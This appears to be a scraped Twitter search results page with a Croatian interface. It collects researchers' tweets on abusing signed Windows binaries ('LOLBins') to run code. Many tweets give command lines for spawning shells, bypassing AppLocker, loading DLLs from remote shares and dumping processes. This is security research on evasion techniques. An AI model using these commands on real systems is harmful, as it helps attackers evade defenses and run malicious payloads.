Rezultati pretraživanja
  1. 4. pro 2018.

    Today I found out that ftp.exe can be used as a . run ftp.exe, type "!" (calls the shell() function inside ftp.exe) followed by whatever it is that you want to run, i.e "!powershell" File under: Things that my teammates and I are finding when looking at windows binaries.

    39 replies 462 proslijeđena tweeta 1.093 korisnika označavaju da im se sviđa
  2. 18. lis 2018.

    For all your needs Windows: Unix:

    1 reply 140 proslijeđenih tweetova 242 korisnika označavaju da im se sviđa
  3. 11. pro 2019.

    dotnet.exe [PATH_TO_DLL] Its just like doing python . (funny) dotnet.exe is trusted binary and Default AppLocker rule don't block it so its a valid AppLocker bypass. Similar to regasm.exe. CC

    127 proslijeđenih tweetova 328 korisnika označava da im se sviđa
  4. 5. pro 2019.

    Use the MS-signed executable "dvdplay.exe" to run your binaries

    1 reply 170 proslijeđenih tweetova 356 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  5. 23. lis 2019.

    I hear you like lolbins... odbcconf.exe /a {REGSVR c:\test\test.dll" it loads the DLL and calls DllRegisterServer :)

    141 proslijeđeni tweet 350 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  6. 24. sij

    how to be a bad ctor ctor.dll, LaunchSetup <filename>

    39 proslijeđenih tweetova 109 korisnika označava da im se sviđa
  7. 24. srp 2018.

    MS signed ExtExport accepts UNC paths. Loads DLL from local disk, SMB and WebDav links. 64 and 32 bit bins on disk. .\ExtExport.exe "\\\tools\Autoruns64.dll" a b JSON FIREFOX c Anyone care to test if it has evasive properties?

    96 proslijeđenih tweetova 164 korisnika označavaju da im se sviđa
  8. 4. sij

    Just published the awaited blog post on the It was a fun tool and a pesky

    70 proslijeđenih tweetova 214 korisnika označava da im se sviđa
  9. 14. svi 2018.

    Windows 10 1803 has some interesting new binaries. I don't need to explain this picture.... - Well, they are signed at least

    26 replies 286 proslijeđenih tweetova 559 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  10. 2. velj

    SettingSyncHost.exe as a LolBin cd %TEMP% & c:\windows\system32\SettingSyncHost.exe -LoadAndRunDiagScript foo

    167 proslijeđenih tweetova 363 korisnika označavaju da im se sviđa
  11. 4. stu 2019.

    In addition steamservice.exe can call custom .vdf files directly without having to modify any game-specific .vdf's

    1 reply 14 proslijeđenih tweetova 42 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  12. 18. lis 2018.

    Synaptics Touchpad Enhancements SynTPEnh.exe “provides additional configurations and support” Okay! Execute my malicious binary for me 😂 cc

    5 replies 37 proslijeđenih tweetova 85 korisnika označava da im se sviđa
  13. 18. kol 2019.

    this looks like a (signed by citrix) similar to "setupapi.dll,InstallHinfSection" u can download citrix exe from

    48 proslijeđenih tweetova 147 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  14. 3. svi 2018.

    CML Execution Using DXCap.exe To Launch Executive From Prompt-CML &- DXCap.exe -c C:\Windows\System32\notepad.exe &- Raw

    46 proslijeđenih tweetova 86 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  15. 3. lis 2019.

    c:\windows\system32\devtoolslauncher.exe LaunchForDeploy payload.exe "argument here" test Trusted binary will execute your payload :) Thanks to & @egriffithCH for testing it on there side. VS or VS code is require i think.

    1 reply 72 proslijeđena tweeta 187 korisnika označava da im se sviđa
  16. 23. ruj 2019.

    Office binaries added to || Writeup - Thanks to

    1 reply 119 proslijeđenih tweetova 227 korisnika označava da im se sviđa
  17. 26. svi 2018.

    Nice from Steam (Valve) :-p Dump a Windows process with a Valve Signe Binary: WriteMiniDump.exe PID DumpFilePath

    47 proslijeđenih tweetova 100 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  18. 19. tra 2018.

    Is Explorer.exe the ultimate ? explorer.exe [exe/hta/scr/...etc] *Invokes child processes when called (after a lookup of the the default program handler) *Hides from the default filter in AutoRuns *Just might be doing a little more on a workstation in your network

    6 replies 165 proslijeđenih tweetova 292 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  19. prije 18 sati

    Stay positive Lolbins... not! rundll32 advpack.dll, RegisterOCX calc.exe rundll32 advpack.dll, #12 calc.exe rundll32 advpack.dll, #+12 calc.exe rundll32 advpack.dll, #-4294967284 calc.exe

    6 replies 98 proslijeđenih tweetova 279 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
  20. 2. velj

    SettingSyncHost.exe as a LolBin cd %TEMP% & c:\windows\system32\SettingSyncHost.exe -LoadAndRunDiagScript foo

Nema rezultata.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.